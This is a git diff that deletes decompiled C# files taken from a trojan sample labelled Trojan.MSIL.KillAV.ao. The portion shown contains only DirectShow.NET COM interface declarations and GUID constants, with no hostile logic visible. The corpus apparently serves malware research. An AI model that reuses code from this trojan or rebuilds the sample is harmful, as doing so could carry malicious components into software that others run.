ulMaxLanguages, out int pulActualLanguages); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetButtonAtPosition(DsPOINT point, out int pulButtonIndex); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetCmdFromEvent(int lParam1, out IDvdCmd pCmdObj); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetDefaultMenuLanguage(out int pLanguage); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetDefaultAudioLanguage(out int pLanguage, out DvdAudioLangExt pAudioExtension); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetDefaultSubpictureLanguage(out int pLanguage, out DvdSubPicLangExt pSubpictureExtension); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetDecoderCaps(ref DvdDecoderCaps pCaps); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetButtonRect(int ulButton, out DsRECT pRect); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int IsSubpictureStreamEnabled(int ulStreamNum, [MarshalAs(UnmanagedType.Bool)] out bool pbEnabled); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/IDvdState.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/IDvdState.cs deleted file mode 100644 index 09086d3e..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/IDvdState.cs +++ /dev/null @@ -1,24 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.Dvd.IDvdState -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace DShowNET.Dvd -{ - [ComVisible(true)] - [Guid("86303d6d-1c4a-4087-ab42-f711167048ef")] - [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] - [ComImport] - public interface IDvdState - { - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetDiscID(out long pullUniqueID); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetParentalLevel(out int pulParentalLevel); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/OptIDvdCmd.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/OptIDvdCmd.cs deleted file mode 100644 index 902bf0bf..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/OptIDvdCmd.cs +++ /dev/null @@ -1,17 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.Dvd.OptIDvdCmd -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System.Runtime.InteropServices; - -namespace DShowNET.Dvd -{ - [ComVisible(false)] - [StructLayout(LayoutKind.Sequential)] - public class OptIDvdCmd - { - public IDvdCmd dvdCmd; - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/FilterCategory.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/FilterCategory.cs deleted file mode 100644 index 5e5b7c13..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/FilterCategory.cs +++ /dev/null @@ -1,21 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.FilterCategory -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System; -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [ComVisible(false)] - public class FilterCategory - { - public static readonly Guid AudioInputDevice = new Guid(869902178U, (ushort) 37064, (ushort) 4560, (byte) 189, (byte) 67, (byte) 0, (byte) 160, (byte) 201, (byte) 17, (byte) 206, (byte) 134); - public static readonly Guid VideoInputDevice = new Guid(2248913680U, (ushort) 23809, (ushort) 4560, (byte) 189, (byte) 59, (byte) 0, (byte) 160, (byte) 201, (byte) 17, (byte) 206, (byte) 134); - public static readonly Guid VideoCompressorCategory = new Guid(869902176U, (ushort) 37064, (ushort) 4560, (byte) 189, (byte) 67, (byte) 0, (byte) 160, (byte) 201, (byte) 17, (byte) 206, (byte) 134); - public static readonly Guid AudioCompressorCategory = new Guid(869902177U, (ushort) 37064, (ushort) 4560, (byte) 189, (byte) 67, (byte) 0, (byte) 160, (byte) 201, (byte) 17, (byte) 206, (byte) 134); - public static readonly Guid LegacyAmFilterCategory = new Guid(137913329, (short) 28894, (short) 4560, (byte) 189, (byte) 64, (byte) 0, (byte) 160, (byte) 201, (byte) 17, (byte) 206, (byte) 134); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/FilterInfo.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/FilterInfo.cs deleted file mode 100644 index fb9f56cc..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/FilterInfo.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.FilterInfo -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [ComVisible(false)] - [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] - public class FilterInfo - { - [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 128)] - public string achName; - [MarshalAs(UnmanagedType.IUnknown)] - public object pUnk; - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/FindDirection.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/FindDirection.cs deleted file mode 100644 index 317ced8a..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/FindDirection.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.FindDirection -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System; -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [ComVisible(false)] - public class FindDirection - { - public static readonly Guid UpstreamOnly = new Guid(2893646816U, (ushort) 39139, (ushort) 4561, (byte) 179, (byte) 241, (byte) 0, (byte) 170, (byte) 0, (byte) 55, (byte) 97, (byte) 197); - public static readonly Guid DownstreamOnly = new Guid(2893646817U, (ushort) 39139, (ushort) 4561, (byte) 179, (byte) 241, (byte) 0, (byte) 170, (byte) 0, (byte) 55, (byte) 97, (byte) 197); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/FormatType.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/FormatType.cs deleted file mode 100644 index 8e03f15a..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/FormatType.cs +++ /dev/null @@ -1,23 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.FormatType -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System; -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [ComVisible(false)] - public class FormatType - { - public static readonly Guid None = new Guid(258217942U, (ushort) 49944, (ushort) 4560, (byte) 164, (byte) 63, (byte) 0, (byte) 160, (byte) 201, (byte) 34, (byte) 49, (byte) 150); - public static readonly Guid VideoInfo = new Guid(89694080U, (ushort) 50006, (ushort) 4558, (byte) 191, (byte) 1, (byte) 0, (byte) 170, (byte) 0, (byte) 85, (byte) 89, (byte) 90); - public static readonly Guid VideoInfo2 = new Guid(4146755232U, (ushort) 60170, (ushort) 4560, (byte) 172, (byte) 228, (byte) 0, (byte) 0, (byte) 192, (byte) 204, (byte) 22, (byte) 186); - public static readonly Guid WaveEx = new Guid(89694081U, (ushort) 50006, (ushort) 4558, (byte) 191, (byte) 1, (byte) 0, (byte) 170, (byte) 0, (byte) 85, (byte) 89, (byte) 90); - public static readonly Guid MpegVideo = new Guid(89694082U, (ushort) 50006, (ushort) 4558, (byte) 191, (byte) 1, (byte) 0, (byte) 170, (byte) 0, (byte) 85, (byte) 89, (byte) 90); - public static readonly Guid MpegStreams = new Guid(89694083U, (ushort) 50006, (ushort) 4558, (byte) 191, (byte) 1, (byte) 0, (byte) 170, (byte) 0, (byte) 85, (byte) 89, (byte) 90); - public static readonly Guid DvInfo = new Guid(89694084U, (ushort) 50006, (ushort) 4558, (byte) 191, (byte) 1, (byte) 0, (byte) 170, (byte) 0, (byte) 85, (byte) 89, (byte) 90); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IAMAudioInputMixer.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IAMAudioInputMixer.cs deleted file mode 100644 index 16f75374..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IAMAudioInputMixer.cs +++ /dev/null @@ -1,49 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.IAMAudioInputMixer -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] - [ComVisible(true)] - [Guid("54C39221-8380-11d0-B3F0-00AA003761C5")] - [ComImport] - public interface IAMAudioInputMixer - { - int put_Enable([In] bool fEnable); - - int get_Enable(out bool pfEnable); - - int put_Mono([In] bool fMono); - - int get_Mono(out bool pfMono); - - int put_MixLevel([In] double Level); - - int get_MixLevel(out double pLevel); - - int put_Pan([In] double Pan); - - int get_Pan(out double pPan); - - int put_Loudness([In] bool fLoudness); - - int get_Loudness(out bool pfLoudness); - - int put_Treble([In] double Treble); - - int get_Treble(out double pTreble); - - int get_TrebleRange(out double pRange); - - int put_Bass([In] double Bass); - - int get_Bass(out double pBass); - - int get_BassRange(out double pRange); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IAMCollection.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IAMCollection.cs deleted file mode 100644 index 8e8f5e1b..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IAMCollection.cs +++ /dev/null @@ -1,27 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.IAMCollection -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [InterfaceType(ComInterfaceType.InterfaceIsDual)] - [ComVisible(true)] - [Guid("56a868b9-0ad4-11ce-b03a-0020af0ba770")] - [ComImport] - public interface IAMCollection - { - [MethodImpl(MethodImplOptions.PreserveSig)] - int get_Count(out int plCount); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int Item(int lItem, [MarshalAs(UnmanagedType.IUnknown)] out object ppUnk); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int get_NewEnum([MarshalAs(UnmanagedType.IUnknown)] out object ppUnk); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IAMCopyCaptureFileProgress.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IAMCopyCaptureFileProgress.cs deleted file mode 100644 index 30049120..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IAMCopyCaptureFileProgress.cs +++ /dev/null @@ -1,21 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.IAMCopyCaptureFileProgress -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [Guid("670d1d20-a068-11d0-b3f0-00aa003761c5")] - [ComVisible(true)] - [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] - [ComImport] - public interface IAMCopyCaptureFileProgress - { - [MethodImpl(MethodImplOptions.PreserveSig)] - int Progress(int iProgress); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IAMCrossbar.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IAMCrossbar.cs deleted file mode 100644 index f6c0ab33..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IAMCrossbar.cs +++ /dev/null @@ -1,37 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.IAMCrossbar -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [ComVisible(true)] - [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] - [Guid("C6E13380-30AC-11d0-A18C-00A0C9118956")] - [ComImport] - public interface IAMCrossbar - { - [MethodImpl(MethodImplOptions.PreserveSig)] - int get_PinCounts(out int OutputPinCount, out int InputPinCount); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int CanRoute([In] int OutputPinIndex, [In] int InputPinIndex); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int Route([In] int OutputPinIndex, [In] int InputPinIndex); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int get_IsRoutedTo([In] int OutputPinIndex, out int InputPinIndex); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int get_CrossbarPinInfo( - [MarshalAs(UnmanagedType.Bool), In] bool IsInputPin, - [In] int PinIndex, - out int PinIndexRelated, - out PhysicalConnectorType PhysicalType); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IAMStreamConfig.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IAMStreamConfig.cs deleted file mode 100644 index d17fdebe..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IAMStreamConfig.cs +++ /dev/null @@ -1,31 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.IAMStreamConfig -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [ComVisible(true)] - [Guid("C6E13340-30AC-11d0-A18C-00A0C9118956")] - [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] - [ComImport] - public interface IAMStreamConfig - { - [MethodImpl(MethodImplOptions.PreserveSig)] - int SetFormat([MarshalAs(UnmanagedType.LPStruct), In] AMMediaType pmt); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetFormat(out IntPtr pmt); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetNumberOfCapabilities(out int piCount, out int piSize); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetStreamCaps(int iIndex, out IntPtr pmt, [In] IntPtr pSCC); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IAMTVTuner.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IAMTVTuner.cs deleted file mode 100644 index 4db72eca..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IAMTVTuner.cs +++ /dev/null @@ -1,100 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.IAMTVTuner -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] - [ComVisible(true)] - [Guid("211A8766-03AC-11d1-8D13-00AA00BD8339")] - [ComImport] - public interface IAMTVTuner - { - [MethodImpl(MethodImplOptions.PreserveSig)] - int put_Channel( - int lChannel, - AMTunerSubChannel lVideoSubChannel, - AMTunerSubChannel lAudioSubChannel); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int get_Channel(out int plChannel, out int plVideoSubChannel, out int plAudioSubChannel); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int ChannelMinMax(out int lChannelMin, out int lChannelMax); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int put_CountryCode(int lCountryCode); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int get_CountryCode(out int plCountryCode); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int put_TuningSpace(int lTuningSpace); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int get_TuningSpace(out int plTuningSpace); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int Logon(IntPtr hCurrentUser); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int Logout(); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int SignalPresent(out AMTunerSignalStrength plSignalStrength); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int put_Mode(AMTunerModeType lMode); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int get_Mode(out AMTunerModeType plMode); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetAvailableModes(out AMTunerModeType plModes); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int RegisterNotificationCallBack(IAMTunerNotification pNotify, AMTunerEventType lEvents); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int UnRegisterNotificationCallBack(IAMTunerNotification pNotify); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int get_AvailableTVFormats(out AnalogVideoStandard lAnalogVideoStandard); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int get_TVFormat(out AnalogVideoStandard lAnalogVideoStandard); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int AutoTune(int lChannel, out int plFoundSignal); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int StoreAutoTune(); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int get_NumInputConnections(out int plNumInputConnections); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int put_InputType(int lIndex, TunerInputType inputType); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int get_InputType(int lIndex, out TunerInputType inputType); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int put_ConnectInput(int lIndex); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int get_ConnectInput(out int lIndex); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int get_VideoFrequency(out int lFreq); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int get_AudioFrequency(out int lFreq); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IAMTuner.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IAMTuner.cs deleted file mode 100644 index eb54ff16..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IAMTuner.cs +++ /dev/null @@ -1,67 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.IAMTuner -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] - [ComVisible(true)] - [Guid("211A8761-03AC-11d1-8D13-00AA00BD8339")] - [ComImport] - public interface IAMTuner - { - [MethodImpl(MethodImplOptions.PreserveSig)] - int put_Channel( - int lChannel, - AMTunerSubChannel lVideoSubChannel, - AMTunerSubChannel lAudioSubChannel); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int get_Channel(out int plChannel, out int plVideoSubChannel, out int plAudioSubChannel); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int ChannelMinMax(out int lChannelMin, out int lChannelMax); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int put_CountryCode(int lCountryCode); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int get_CountryCode(out int plCountryCode); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int put_TuningSpace(int lTuningSpace); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int get_TuningSpace(out int plTuningSpace); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int Logon(IntPtr hCurrentUser); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int Logout(); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int SignalPresent(out AMTunerSignalStrength plSignalStrength); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int put_Mode(AMTunerModeType lMode); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int get_Mode(out AMTunerModeType plMode); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetAvailableModes(out AMTunerModeType plModes); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int RegisterNotificationCallBack(IAMTunerNotification pNotify, AMTunerEventType lEvents); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int UnRegisterNotificationCallBack(IAMTunerNotification pNotify); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IAMTunerNotification.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IAMTunerNotification.cs deleted file mode 100644 index 75a67801..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IAMTunerNotification.cs +++ /dev/null @@ -1,21 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.IAMTunerNotification -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: 